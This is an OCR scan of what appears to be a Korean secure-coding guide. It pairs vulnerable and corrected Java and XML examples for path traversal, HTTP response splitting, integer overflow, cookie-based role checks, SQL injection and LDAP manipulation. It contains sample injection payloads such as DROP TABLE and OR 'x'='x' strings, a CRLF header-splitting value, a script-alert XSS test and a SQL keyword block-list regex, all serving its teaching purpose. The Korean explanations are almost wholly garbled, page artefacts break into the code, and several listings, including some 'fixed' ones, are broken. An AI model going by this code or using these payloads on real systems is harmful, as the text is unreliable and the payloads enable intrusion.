20: private final String STYLE_ NAME_PARAM = "styple_name';
H1E Yooy 25 U B »
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21: private final int BUFFER SIZE = 256;
22: private Hashtable<String, String> styleFileNames;

23:

24: /]

25:

26: public DocumentService()

27: {

28: styleFileNames = new Hashtable<String, String>();
29: styleFileNames.put("Normal", "NormalStyle.cfg");
30: styleFileNames. put("Classic", "ClassicStyle_1.cfg");
31: styleFileNames.put("Gothic", "ClassicStyle_2.cfg");
32:

33: }

34:

35: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

36: {

37: String command = request.getParameter("command");

38:

39:

40: if (command.equals(APPLY_STYPLE_COMMAND))

41: {

42: String userld = request.getParameter(USER_ID_PARAM);

43: String styleName = request.getParameter(STYLE_NAME_PARAM);

44:

45: String userHomePath = getUserHomeDir(userld);

46: String styleFilePath = userHomePath + styleFileNames.get(styleName);

47:

48: byte [] buffer = new byte [BUFFER_SIZE];

49: FileInputStream inputStream = new FileInputStream(userHomePath + styleName);

50: inputStream.read (buffer);

51:

52: }

53:

54: }

55:

56: }

o F3 24
[1] CWE-36 Absolute Path Traversal, http://cwe.mitre.org/data/definitions/36.html
[2] CWE-22 Improper Limitation of a Pathname to a Restricted Directory(Path Traversal)
http:/ /cwe.mitre.org/ data/definitions /22.html
[3] 2010 OWASP Top 10 - A4 Insecure Direct Object Reference,
https:/ /www.owasp.org/index.php/Top_10_2010-A4
[4] 2011 SANS Top 25 - RANK 13 (CWE-22), http://cwe.mitre.org/top25/
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12. HTTP &% & (Improper Neutralization of CRLF Sequences in HTTP Headers,
HTTP Response Splitting)

-
HTTP 87 E°] A& AA ko] HTTP &gsltle] E3hE o] ARgAbollA oAl Ag 2
o Y gkoll CR(Carriage Return)©]Y} LF(Line Feed)9} 22 73ZA7F EA)8HH HITP
&Eol 271 ]”‘Oi =82 F Ak o] A FAAE AAEAE o83t A WA &
& TEAZIL F HA SF ofoHR] ZEE FYste] XSS ¥ ANAl #l<S(cache poi-

Sl

TEST%3Cscript¥%3Eale <html>
rﬂlmyﬂﬁ H'ITI‘! 11 I&S'(
http requestlinjection Code) " responsesetStatustHttpServie o
Ll =S tResponse.SC_0K: -
. String ref = S
http Split Response W!  reguestgetParameterC'rery; I'%
HITP/1.1 200 0K response.setteader(Referer”,
Ca Server: Sun-Java-System-Web-Server/7.0 Mt ;f)ﬂ: ol
Date: Fri, 28 May 2010 12:44:55 GMT N
Referer: http://my.testdomain.com/ Source Code o
Content-type: test/ntml; In
TEST <scriptalert(1)</script>
Content-type: =|S0-8859-1
<71¥ 2-10> HTTP $g&3g
U, kAR 397) ‘%ﬁ
m QoA JHH QAAFEE AE-3te] HTTP -$-F3)tl(Set Cookie &)l E3HAZ 74 CR,

LF5o] 47 om»} AP A=Y 7PE Aol M
o oRolA QeEE AAGe HAS ey RES Bl AFT, 045 Yo 2A7}
e BASS AAT F 2so) AT

T} &A
o] dAlE fFe] YEES AMSShe] HEgE = F719] ke AAsta k. a9,
FZ 271 Wiley Hacker\r\nHTTP/1.1 200 OK\r\nE authorName®] #t°o.= MA ¢,
ool o} o] orstA] 2 AL oAt AgHnh = F A R HolAE
A7 v E 78 7hsstth
(¢l : HTTP/1.1 200 OK...Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK ...)

throws IOException, ServletException

1
2|

3: response.setContentType("text/html");

4 String author = request.getParameter("authorName");
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56

<« A1

5 Cookie cookie = new Cookie('replidedAuthor", author);

6 cookie.setMaxAge(1000);

7: response.addCookie(cookie);

8 RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
9

frd.forward(request, response);

9)Ro A dHEE groll thate] @ oRE A =38laL, relpaceAllS ©]-&3dte] | EA
\r, \nZ A8t stigto] YrolAl= As WA

B AdAF 7=9] ¢ - JAVA

1:  throws IOException, ServletException

2

3 response.setContentType("text/html");

4 String author = request.getParameter("authorName");

5: if (author == null || "".equals(author)) return;

6 String filtered_author = author.replaceAll("\r", "").replaceAll("\n", "");
7 Cookie cookie = new Cookie("replidedAuthor", filtered_author);

8 cookie.setMaxAge(1000);

9: cookie.setSecure(true);

10: response.addCookie(cookie);

11: RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
12: frd.forward(request, response);

5o dAls 71E GEE A dEE WASE dAelth http request’t E01& winf
o AL user_id T HEE o83 query £ ME AFTES & F AUtk ol¢
2o e EAE A4k AFRE wEoll ARE MEOE queryd] /o] o] FolA=
Fekdol Ao

d]E E9], USER_INFO DB Tableqtol kindet= field7} A1, ©] field t¢] admin® &
Hol glow, dig AA BelA A Fohal PgskAk 22l H <l AMEA7}E new_pass-
word QIAE passwordkind = admin® ® 235l s WAHS QFI0H, sl AL
A d4ge A He 2HE AT

public class ShowRequestHeaders extends HttpServlet

1
22

3: private final String CHNAGE_PASSWORD_CMD = "change_password";
4

5

public void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

a

rek

E YEOolE 25 ®



7:
8: String command = request.getParameter("command");
9: if(command.equals(CHNAGE_PASSWORD_CMD))
10: {
11: Statement stmt = con.createStatement();
12: String userld = request.getParameter("user_id");
13: String newPasswd = request.getParameter("new_password");
14: String oldPasswd = request.getParameter("old_password");
15: String query = "UPDATE USER_INFO SET id = " + userld + "passwd = " + new-
Passwd + "WHERE passwd = " + oldPasswd; =
16: stmt.executeUpdate(query); N
17: 0-)-!
18: }
19:
20: }
21: |}

9] dAlE query®S pre-compiled] 731, ¢t
e A8t At 9 Aol pre-compiled WAlE AMESEIH query & AR A

BEHA 7] Wl query® WESHE ool Hel A $AT F 9

Slolc BEElY

B AT F=9] ¢ - JAVA
public class StatementInfo

{

public Statement statement;

public Array<String> parameterNames;

}

public class ShowRequestHeaders extends HttpServlet
{
private final String CHNAGE_PASSWORD_CMD = "change_password";
10: private final String CHANGE_PASSWORD_QUERY_STR = "UPDATE USER_INFO SET
id = ?, passwd = ?" WHEHER password = ?;
11: private Hashtable<String, StatementInfo> queryStatements;

1:
2:
3:
4:
5:
6:
7:
8:
9:

12:

13: public void initilize()

14: {

15:

16: queryStatements.put(CHNAGE_PASSWORD_CMD,new
StatementInfo(con.prepareStatement(CHANGE_PASSWORD_QUERY_STR),"user_id",
"new_password", "old_password");

17:

18: }

19:

20: public void doPost(HttpServletRequest request, HttpServletResponse response)throws

)
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ServletException, IOException

21: {

22:

23: String command = request.getParameter("command");

24: Statement statement = queryStatement.get(command).statement;

25: for(int parameterldx = 0; parameterldx < queryStatement.get(command).parameterNames.size();
parameterldx-++)

26: {

27: statement.setString(parameterldx, — queryStatement.get(command).parameterNames[pa-
rameterldx]);

28: }

29: statement.executeQuery();

30:

31: }

32: }

% F3 1
[1] CWE-113 Improper Neutralization of CRLF Sequences in HITP Headers(HITP Response Splitting),
http:/ /cwe.mitre.org/data/ definitions/113.html
[2] Web Application Security Consortium 24 + 2 HTTP Response Splitting
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13. A+ 2LHEZ9-(Integer Overflow or Wraparound)

7 B4
A Aol o
ARA A A==
HEEE o], Wz &g, o
ARgStaL O ol M g o

29 Bge] Z7HUA Javadld 3188 A 2
re o= oAl ol Ae #omb} 7t 8 & Yok
_0'4

ZZ
=
. =
Figel

HJ

3714
ol/ZHE ¥ F5Elqle WIS Ity Agath H5E W
S Azlgro] W9 AZstE BES AR B3] 93 gk
S3tE A9 W gk WS AAsle A M) el =

. ¢

3|
o

il

[ |
o e A

A

=
oo oAl= FY YH(args[0], args[1])= °©lE3te & 4
A7)(size)E AGsh=tl ARSI Utk Y o F YO ZRE ALE Fi(size)ol LHE
290 oJaf Fgkol HH wjd e A77F S5 Hol A=l EA 24T F Ak

T e
2:  public static void main(String][] args)

3

4: int size = new Integer(args[0]).intValue();
5 size += new Integer(args[1]).intValue();
6: MyClass[] data = new MyClass[size];

7o e

54 vEe) @9 95 A8 ASSE A 1 gol £471 ohdA ANsE B
o gl

B aAHE 7=9 o - JAVA

public static void main(String|[] args)

{

int size = new Integer(args[0]).intValue();

// WEel 7] ghel Srgkel ohdA] AR
if (size < 0) return ;

2

3

4

5: size += new Integer(args[1]).intValue();
6

7

8 MyClass| ] data = new MyClass|[size];

o dxle 9Fe E4YE ¢l¥(data_index, field_index, value)S ¥ ¥ integerdk
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02 AR F T indexES wlEo R FAAT wwE FiEE Astste] ez
Aol valuegte st vk W ofF YHORFE W2 Fheo] Sehd tae
FEoMe EAA Fe viRy FAE FEdte] LWEEZVL AT F AUk

2:  import java.io.FilelnputStream;

3:  import java.io.lOException;

4:  import java.math.Bignteger;

5 import java.net. URLDecoder;

6:  import java.sql.Connection;

7:  import java.sql.Statement;

8:  import java.util. Hashtable;

9:  import java.util.regex. Matcher;

10:  import java.util.regex.Pattern;

11:

12:  import javax.servlet.ServletException;

13:  import javax.servlet.http.Cookie;

14:  import javax.servlethttp.HttpServlet;

15 import javax.servlet.http.HttpServletRequest;

16:  import javax.servlet.http.HttpServletResponse;

17:

18:  public class DocService extends HittpServlet

19: {

20: private final String UPLOAD_DOCUMENT_COMMAND = "upload_document';

21: private final String ADDITIONAL_OPERATION_PARAM = "additional_operation";

22:

23:

24: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

25: {

26: int datalndex =~ = Integer.parselnt(request.getParameter("data_index"));

27: int fieldindex = Integer.parselnt(request.getParameter("field_index"));

28: int value = Integer.parselnt(request.getParameter("value"));

29:

30: int index = datalndex * DATA_SIZE + fieldIndex;

31:

32: datas[index] = value;

33: }

34:

35}

Axg Z2I9E fsliAe e dAATE S5 A= B oolysr F4a Ak
o] Qe data typeo] Z7] FAS Hol7tA GRS A Aok .
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NN N NN R =R s s e e e
L N SR = < B AN L N i

25:
26:
27:
28:
29:
30:
31:
32:
33:

35:
36:
37

39:
40:
41:

import java.io.File;

import java.io.FilelnputStream;
import java.io.IOException;
import java.math.Biglnteger;
import java.net. URLDecoder;
import java.sql.Connection;
import java.sql.Statement;
import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http. HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DocService extends HttpServlet
{

private final String UPLOAD_DOCUMENT_COMMAND = "upload_document';
private final String ADDITIONAL_OPERATION_PARAM

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

{
int datalndex

int fieldIndex

int value

if((datalndex < 0) || (fieldIndex < 0))
{

// Error 2]

return;

= Integer.parselnt(request.getParameter("value"));

= Integer.parselnt(request.getParameter("data_index"));

= Integer.parselnt(request.getParameter("field_index"));

if((dataIndex < 0) || (dataIndex > Integer.MAX_VALUE / DATA_SIZE))

{
// Error &
return;

if((fieldIndex < 0) || (filedIndex > (Integer MAX_VALUE

DATA_SIZE))))

(dataIndex *

= "additional_operation";

M1

=K
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43: {

44: // Error 2]

45: return;

46: }

47

48: int index = datalndex * DATA_SIZE + fieldIndex;
49:

50: datas[index] = value;
51: }

52:

53:. '}

2 3 Ed
[1] CWE-190 Integer Overflow or Wraparound, http://cwe.mitre.org/data/ definitions/190.html
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14. B3 YAUEFS 3T 4 I&= YY4t ¥=Z(Reliance on Untrusted

Inputs in a Security Decision)

7% A9

$gxzIdo] 9% Yeghel U UHNE AAZ REAAUFE S AS 34
A7h QRS 24T 5 AT BEUAUSS 93T 5 QA Bk ARAEe] £
7], $FWS B= FEVES g Aol 248  vkn AR FAAE o
o PUS Bl ol YARES VAT F AW 2HW WEe YAHA @2 5 9 =
N
o &

QFolt 7kl e ®ebAAo] ol YT, AW, JELE 5o e s
THEE A FAAE o JY@s A4Sty FEZEIHY] HAS I & o
g 83 ¢58}, FA4 A == 02 WAYUZ] e A RAEA 2Jd fu
Gk AFeAE ¢ " 1)
ku
ol
. kAR Ig 7Y N
o
w e RV 7175 dlolH B8] AR AR e Fadt ARE Ao ARt "
Bebskel AAw AuolA Ayt
n HPEABHANA AHT £ gl gkl ol Z Aol WRE B0l & dE AMH
Herd 4oﬂ }%El” °‘Fﬂ%k° st AlFEE Ykl 92 o) gl TRE

AgAe] rolee AT W A4S Y BekSAY] 719 roled] FHE G A3
glo] ol gro] ALgal ols) WAHE A A8A rolegkol owsHA ghe groE B3
& oo,

Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++)
{

Cookie ¢ = cookies][i];

if (c.getName().equals("role"))

{

userRole = c.getValue();

}

}

R B AR L S v
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Mg AF, B T RAAA AEIE e A8 AR A& B o)

1.
2 HttpSession session = context.getSession(id) ;
3: String userRole = (Stirng)session.getValue('role") ;
4
2 FaEd

[1] CWE-807 Reliance on Untrusted Inputs in a Security Decision,
http:/ /cwe.mitre.org/data/definitions /807.html
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15. SQL A¢Y4&4A: JDO(SQL Injection: JDO)

7t B4
opre] A < gle dHE AET A4 HL 71AA 3L JDO(Java Data Objects)
API9] SQL ¥+ JDOQL Ael# A= 913 #AdR Abgsty, sA4A7F Z=2 w7}
o=skA] Ud FALS AGFOEA HoF| IS HFATIAY I T2 WA
o gejo] He| HHoE F4E + Urk

U A 29714
= DO A& A= dg EAETHS AMS-3FIL Query.execute(...) F A= A}
e A= W (Parameterize Query)< AHS-SHTL

o} oA
TAAZE 932 Q¥ (name) #tS name’; DROP MYTABLE; - £ A HH, th&3
e Aeojwo] SaHo] Hol o] AAHT.
(SELECT coll FROM MYTABLE WHERE name = 'name’ ; DROP MYTABLE; --')

1o e
2: public class Contactltem implements ContactDAO

3

4 public List<Contact> listContacts()

5 {

6: PersistenceManager pm = getPersistenceManagerFactory().getPersistenceManager();
7 String query = "select from " + Contact.class.getName();

8 try

9 {

10: Properties props = new  Properties();

11: String fileName =  '"contacts.txt";

12: FilelInputStream in = new  FileInputStream(fileName);
13: if(in !=null ) { propsload(in);, }

14: in.close();

15: // SRR BE AHE den

16: String name = props.getProperty("name");

17: if( name != null )

18: {

19: query += " where name = "' + name + "'";
20: }

21: }

22: catch (IOException e) { }

23:

24; // SH 8ol JDO AAe] AR AHE-EH.

25: return (List<Contact>) pm.newQuery(query).execute();

26: }

27, e

M1 QHole A5 Y B »
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2% 3} 31 (Parameterize Query), A Aol i AR gre] AgHE
24 2e] ¥ (name)°] AolEe] F2E HAANTE AS WAL F Ut

1T e
2: public class Contactltem implements ContactDAO

3

4 public List<Contact> listContacts()

5: {

6 PersistenceManager pm =

7 getPersistenceManagerFactory/().getPersistenceManager();
8 String query = "select from " + Contact.class.getName();

9 String name = "";

10: try

11: {

12: Properties props = new Properties();

13: String fileName = "contacts.txt";

14: FileInputStream in = new FileInputStream(fileName);

15: props.load(in);

16: [/ 5= HE Jgs ven

17: name = props.getProperty("name");

18: // LEEE A

19: if (name == null || "".equals(name)) return null;
20: query += " where name = ?";

21: }

22: catch (IOException e) { }

23:

24: javax.jdo.Query q = pm.newQuery(query);

25: // Query API®] A= AFE-3TY.

26: return (List<Contact>) q.execute(name);

27: }

08 e

059 dAdAAE AHEAVE Afsta e itemel g HERE dojea JUTh
itemname®| #tS name’ OR ’a’='a’Z T/ =W, &S 33 Z}+= SELECT *
FROM itemsE 35 Ao} FUsiA At wehA] dojio A == thE2A
EE AEA] BE iteme] T FRE d& 5 A ok

public class Service extends HttpServlet

1
2

3: private final String COMMAND_PARAM = "command";
44

66 <<« H1E YUMo HE X B

rek



5: // Command 3 2]

6: private final String GET_USER_INFO_CMD = "get_user_info";

7:

8: private final String USER_ID_PARM = "user_id";

9: private final String ITEM_NAME_PARM = "itemName";

10:

11:

12: protected void doPost(HttpServletRequest request,

13: HttpServletResponse response) throws ServletException, IOException

14: { =
15: String command = request.getParameter(COMMAND_PARAM); N
16: 0z
17: if (command.equals(GET_USER_INFO_CMD))

18: {

19: String userld = request.getParameter(USER_ID_PARM); -
20: String itemName = request.getParameter(ITEM_NAME_PARM); Hu
21: =2
22: PersistenceManager manager = factory.getPersistenceManager(); (|)-_|E_|
23: N
24: String sql = "SELECT * FROM items WHERE owner = " §
25: + userName + " AND itemname = " In
26: + itemName + "";

27: Query query = pm.newQuery(Query.SQL, sql);

28: query.setClass(Person.class);

29: List people = (List)query.execute();

30:

31: }

32:

33: }

34:

35. }

el Aol SQL Aelw A fRelA e e EAAe AgaA e, A
ojze] Ao I we EAAL AR ATSATE o3l FomA SR omF
ol Bolskx WolR9| oEE WA EshA Hrh

Cl):]

B AT I=9 ¢ - JAVA

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String GET_USER_INFO_CMD = "get_user_info";

1
2
3
4
5: // Command #& <]
6
7
8

private final String USER_ID_PARM = "user_id";
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9: private final String ITEM_NAME PARM = "itemName";

10:

11:

12: protected void doPost(HttpServletRequest request,

13: HttpServletResponse response) throws ServletException, IOException
14: {

15: String command = request.getParameter(COMMAND_PARAM);
16:

17: if (command.equals(GET_USER_INFO_CMD))

18: {

19: String userld = request.getParameter(USER_ID_PARM);

20: String itemName = request.getParameter(ITEM_NAME_PARM);
21:

22: PersistenceManager manager = factory.getPersistenceManager();
23:

24: String sql = "SELECT * FROM items WHERE owner = ? AND itemname = ?';
25: Query query = pm.newQuery(Query.SQL, sql);

26: query.setClass(Person.class);

27:

28: List people = (List)query.execute(userld, itemName);

29:

30: }

31:

32: }

33:

34: '}

2 Zi &3
[1] CWE-89 Improper Neutralization of Special Elements used in an SQL Command(SQL Injection),
http:/ /cwe.mitre.org/ data/ definitions/89.html
[2] 2010 OWASP Top 10 - Al Injection
https:/ /www.owasp.org/index.php/Top_10_2010-A1
[3] JDO API Documentation
[4] 2011 SANS Top 25 - RANK 1 (CWE-89), http://cwe.mitre.org/top25/
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16. SQL AY-&7A: Persistence(SQL Injection: Persistence)

7t A9
J2EE Persistence APIE AH8dt= S-&2ZEIo4 97 g thak HFqlol doiol
O ARG, o7 ouE f3A7IAY L 725 W5k e Ao WHgolrt

99 5 Ak

A
n o]Fe] igo] Ao 722 MAT 5 fle AASE 2 o|F(Parameterize Query)&
/‘}%iﬂ":}. Z @«]—r«] AB23A ]'fr EAETHS: AM831aL javax.persistence.Query.setParameter ()

o} oA
922 dAlelA FAA 2R A (id)e]l FOE foo; DROP MYTABLE, 2 57
HH, oS3 2 dojio] dagE o] Holdo] AA|Hrh
(SELECT coll FROM MYTABLE WHERE name = ‘foo’ ; DROP MYTABLE; --')

1o e

2:  public class ItemListner implements ServletContextListener

E

4 public List<?> getAllltemsInWildcardCollection()

5: {

6 EntityManager em = getEntityManager();

7 List<ItemListner> r_type = null;

8 try

9 {

10: Properties props = new  Properties();

11: String fileName = "conditions.txt";

12: FileInputStream in = new FilelnputStream(fileName);

13: props.load(in);

14:

15: // SIRE FEH 4Ees vt

16: String id =  props.getProperty("id");

17: // S5 48 #kel querye] IAE ARge] Hth

18: Query query =

19: em.createNativeQuery("SELECT OBJECT(i)) FROM Item i WHERE
iitemID > " + id);

20: List<ItemListner> items = query.getResultList();

. e

22: return r_type;

23: }

o4 e

Hi1ZE Y=OolE 45 % ®
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70

<« A1

ol dAlsh ol AT W Ao B(query) AHHIL, AAghe Aol A3t
S5 @k olF Fa 9ol Yol WolBe] TEE WANE AL WAT F Ank

B AT F=9] ¢ - JAVA

22:
23:
24:
25:
26:

public class ItemListner implements ServletContextListener
{
public List<?> getAllltemsInWildcardCollection()
{
EntityManager em = getEntityManager();
List<ItemListner> r_type = null;
try
{
Properties props = new  Properties();
String fileName =  "conditions.txt";
FilelInputStream in = new  FileInputStream(fileName);

props.load(in);

// 9% ek et
String id = props.getProperty("id");
// LEFE ARG
if (id == null || "".equals(id)) id = "itemid";
// Queryw< 2t
Query query =
em.createNativeQuery("SELECT OBJECT(i) FROM Item i WHERE
iitemID > :id");
query.setParameter("id", id);
List<ItemListner> items = query.getResultList();

ool dlAlel A o F2RE dEwe HISEA 32 #l userIDS} passwdE SQLE 9
of Zh= AHgstaL vt

1:  private Pattern unsecuredCharPattern;

2:  private  final  static = String =~ UNSECURED_CHAR REGULAR EXPRESSION =
"["\\p{Alnum}] | select | delete | update | insert | create | alter | create | drop";

3:

4:  public void initialize()

5 |

6: unsecuredCharPattern = Pattern.compile(UNSECURED_CHAR_REGULAR_EXPRESSION,
Pattern.CASE_INSENSITIVE);

E Y=holE 45 ¥ Ee



7:

8 }

9:

10:  public void apply()

11: |

12: // 1. get a PersistenceManager instance

13: PersistenceManager manager = factory.getPersistenceManager();

14: System.out.println("The list of available products:");

15:

16:  try =

17: { N

18: // clear cache to provoke query against database 0z

19: PersistenceBrokerFactory.defaultPersistenceBroker().clearCache();

20:

21: // 2. start tx and form query -

22: manager.currentTransaction().begin(); Hu

23: String query = "SELECT * FROM members WHERE username= "" + userld + " ﬁ
AND password = " + password + ""; on

24: Query query = manager.newQuery(queryStr); N

25: §

26: // 3. perform query In

27: Collection allProducts = (Collection)query.execute();

28:

29: // 4 now iterate over the result to print each

30: // product and finish tx

31: java.util.Iterator iter = allProducts.iterator();

32: if (! iter.hasNext())

33: {

34: System.out.println("No Product entries found!");

35: }

36: while (iter.hasNext())

37 {

38: System.out. println(iter.next());

39: }

40: manager.currentTransaction().commit();

41: }

42: catch (Throwable t)

43: {

44: t.printStackTrace();

45: }

46: finally

47: {

48: manager.close();

49: }

50: }

Hi1ZE Y=HOGolE 45 & #el »» 71
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<« M1 oole #5 H &

o] oAM= SQL T2 A Aoll, ojF-=5E Y4¥E D9 ¢EE DB o2l AR
817] 3 FElE FHr(makeSecureString 3RS S5kl WAEIAIT

makeSecureString ¥rE ¥W TAEES HoJF o AR A E bHF FAER vt
e gerolth o] e 37EA 9 AljE 218 o] &5t bHF FAES ST

2 Al SQLENA 2hol= defoi7h S0k A& Aljtsle Zlo]
o A9 A e s flside Aol mel SQLEelA 220l
=] =]

HIgo A 342 A9 & Yk

EAgE ZEo] doAs, 9o F WA, Al WA A 20E ALk AsiA A2
(Regular expression)s AH8-3FHTE [A\\p{Alnum}] | select | delete | update | insert
| create | alter |droplAl [*\\p{Alnum}]= &3l A5 AL YA 45 9
"]3lal, select, delete, update, insert, create, alter, drop> SQL oA AM&E& o 2Fof
Solt}. o] EAUEL J string(") 2 tA|Gt] AT BRI s

makeSecureString 3HrollAl APEE EAEES F O FHsA e T HES

o3 2.

1 BAGe] go] AGL Rt

B2E dow z}%s&c})

B aAEE 7=9 o - JAVA
1:  private Pattern unsecuredCharPattern;
2:  private  final  static  String =~ UNSECURED_CHAR_REGULAR_EXPRESSION =

"I\ p{Alnum}] | select | delete | update | insert | create | alter | create | drop';

3:

4:  public void initialize()

5 |

6: unsecuredCharPattern = Pattern.compile(UNSECURED_CHAR_REGULAR_EXPRESSION,
Pattern.CASE_INSENSITIVE);

7:

8}

10:  public void apply()
11: |

rek



12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:

24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:

// 1. get a PersistenceManager instance
PersistenceManager manager = factory.getPersistenceManager();
System.out.println("The list of available products:");

try
{

// clear cache to provoke query against database
PersistenceBrokerFactory.defaultPersistenceBroker().clearCache();

// 2. start tx and form query

manager.currentTransaction().begin();

String query = "SELECT * FROM members WHERE username= " + make-

SecureString(userld) + " AND password = "' + makeSecureString(password) + "";
Query query = manager.newQuery(queryStr);

// 3. perform query
Collection allProducts = (Collection)query.execute();

// 4. now iterate over the result to print each
// product and finish tx
java.util.Iterator iter = allProducts.iterator();
if (! iter.hasNext())
{
System.out.println("No Product entries found!");
}
while (iter.hasNext())
{

System.out. printIn(iter.next());

}

manager.currentTransaction().commit();

}
catch (Throwable t)

{
t.printStackTrace();

}
finally
{

manager.close();

private String makeSecureString(final String str, int maxLength)

{
String secureStr = str.substring(0, maxLength);

Matcher matcher = unsecuredCharPattern.matcher(secureStr);

H1E Y=HdolE H45 &
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56: return matcher.replaceAll("");
57.  }

Z Fx 24
[1] CWE-89 Improper Neutralization of Special Elements used in an SQL Command(SQL
Injection), http://cwe.mitre.org/data/definitions/89.html
[2] 2010 OWASP Top 10 - Al Injection
https:/ /www.owasp.org/index.php/Top_10_2010-A1
[3] 2011 SANS Top 25 - RANK 1 (CWE-89), http://cwe.mitre.org.top25/
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17. SQL A% 33: mybatis Data Map(SQL Injection: mybatis Data Map)

7k A
el X APE ol Aolofe] AAgosR AgHA ek, We| Peolo] A=
EAGR AGHY, FAA dEakA 2k FALS ATFoA delre ojng s
FAANAY 2 FEE WAse] Yool Holeulol s FHoIE £AT 4 ATk

3ol geonE AP BAG dwshd wkd YL AASKE BeE 220

=
o
&
o
>
N
au
Sy

= mybatis Data Map 39 9] 1AE W= o] gigo] FoAd £ A AAHS$..$)=
AHESHA] ETh S #<QiXtolE># e Hows AMESth

=
13} 9] oA=& mybatis Data MapolAl A3l Ao AAgd(XML)olth AHojd &
o] F F delStudent W&o HAoA Ao AUHE UAE T $name$SZ AL H =
l'&:?‘]'% Fe IuE dA=e] AoEo] vhEolXlth. wekA THeF name®] FHOE 7 OR
XEXS A T 22 FojRo] FEo] HolE BE 94AE AAISHA Hrh
(DELETE STUDENTS WHERE NUM = #num# and Name = " OR 'x'='x’)

Slolc BEElY

1:  <?xml version="1.0"  encoding="UTF-8"?>
2:  <IDOCTYPE sqlMap PUBLIC "-//iBATIS.com//DID SQL Map 2.0//EN"
"http:/ /www.ibatis.com/ dtd/sql-map-2.dtd">

3: <sqIlMap namespace="Student">

4 <resultMap id="StudentResult" class="Student">

5 <result column="ID" property="id" />

6: <result column="NAME" property="name" />

7 </resultMap>

8 <select id="listStudents" resultMap="StudentResult">

9 SELECT NUM, NAME

10: FROM STUDENTS

11: ORDER BY NUM

12: </select>

13: <select id="nameStudent" parameterClass="Integer" resultClass="Student">
14: SELECT NUM, NAME

15: FROM STUDENTS

16: WHERE NUM = #num#

17: </select>

18: <l- dynamic SQL A& >

19: <delete id="delStudent" parameterClass="Student">
20: DELETE STUDENTS

21: WHERE NUM = #num# AND Name = ‘$name$’

Hi1ZE Y=OolE 45 % ®
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22: </delete>
23:  </sqlMap>

Name 2A-E #name# FEIE WL F£A3 0}

M ¢LAS 7= ¢ - XML

1:  <?xml version="1.0"  encoding="UTF-8"?>

2:  <IDOCTYPE sqlMap PUBLIC "-//iBATIS.com//DID SQL Map 2.0//EN"
"http:/ /www.ibatis.com/dtd/sql-map-2.dtd">

3

4: <sqlMap namespace="Student">

5 <resultMap  id="StudentResult" class="Student">

6: <result column="ID" property="id" />

7 <result column="NAME" property="name" />

8 </resultMap>

9 <select id="listStudents" resultMap="StudentResult">

10: SELECT NUM, NAME

11: FROM STUDENTS

12: ORDER BY NUM

13: </select>

14: <select id="nameStudent" parameterClass="Integer" resultClass="Student">

15: SELECT NUM, NAME

16: FROM STUDENTS

17: WHERE NUM = #num#

18: </select>

19:

20: <I-- static SQL AR& >

21: <delete id="delStudent" parameterClass="Student">

22: DELETE STUDENTS

23: WHERE NUM = #num# AND Name = "#name#’

24: </delete>

25:  </sqlMap>

o2 dAelAE AREATE AFEa e itemel] WY BERE dojen QUth
$itemName$ S Al 83lgorng Zxow HORES MASA HAtuh olu] jtemnames
name’; DROP items; -2 F7| #9, o] oS 33 Z3}= SELECT * FROM
items WHERE owner="user name’ AND itemname = ‘item name’;3} DROP items;
o Aol ABL FA Asel FAstch Wby delwel Ue omohs hd,
DBell 4] items H ol¥e] Fut AA|A Bk,

1:  <?xml version="1.0"  encoding="UTF-8"?>

2:  <IDOCTYPE sqlMap PUBLIC "-//iBATIS.com//DID SQL Map 2.0//EN"
"http:/ /www.ibatis.com/dtd/sql-map-2.dtd">

3: <sqlMap namespace="Userltem">
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5. <select id="getltems" parameterClass="MyClass" resultClass="items">
6: SELECT * FROM items WHERE owner = #userName# AND itemname = ’$itemName$’

7. </select>
8 ..
9:  </sqlMap>

29 oAM= SQL HoF9] $itemName$ Th4! #itemName#2 Al-g35}e], FZ o
2 FojFo] MAHHEE ¥t welA itemnameS name’; DROP items; % & uj,

itemname?| ©]E°] name’; DROP items; -3 &5S 24 F 22 DBolA] items E|o]E

A7k AARE A% o] Ao|Bel owe} hE B £YHE A %L + vk

i

Sl

W AF F=9 o - XML
1:  <?xml version="1.0"  encoding="UTF-8"?>

2:  <IDOCTYPE sqlMap PUBLIC "-//iBATIS.com//DID SQL Map 2.0//EN"
"http:/ /www.ibatis.com/dtd/sql-map-2.dtd">

<sqIMap namespace="Userltem">

Slolc BEElY

<select id="getltems" parameterClass="MyClass" resultClass="items'">
SELECT * FROM items WHERE owner = #userName# AND itemname = ’#itemName#’

SN LI

7. </select>

9:  </sqlMap>

2. 1 &4
[1] CWE-89 Improper Neutralization of Special Elements used in an SQL Command(SQL Injection),
http:/ /cwe.mitre.org/data/ definitions/89.html

[2] 2010 OWASP Top 10 - Al Injection
https:/ /www.owasp.org/index.php/Top_10_2010-A1
[3] 2011 SANS Top 25 - RANK 1 (CWE-89), http://cwe.mitre.org/top25/
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18. LDAP * 2](LDAP Manipulation)

7

LDAP A9 Fo} A3t 9|3 o] REH oz HAF Hglo] &)W LDAP ¥

oje] 4YP w FAAL LDAP AR gL rhethE WAY & Ak 53] oY)
A LDAP AR AA o 9% Qo] YP& F ASE Bk

-

. oA
<)
o

9
ek A3 F2d HS F AH8sioF shH, LDAP A4 A oleS Al%bst
= ToER st AT Aol 7se ARgSloF d

Iy

d
tlo
ol

=9 e 258 Y (name)o]l HAS 1T base TALY Aol AHEHI AT
of Ao Had 5 Jom, HdFd HIA 7t
SHEA Be B AR =Fo] BT F QU

T e
2: try

3: {

4 e

5: // SFE FEH 4ES Eet

6: String name = props.getProperty(“ldap.properties");

7: // d=gkel ti3t BasicAttributeS Y43 gt

8: BasicAttribute attr = new BasicAttribute("name", name);

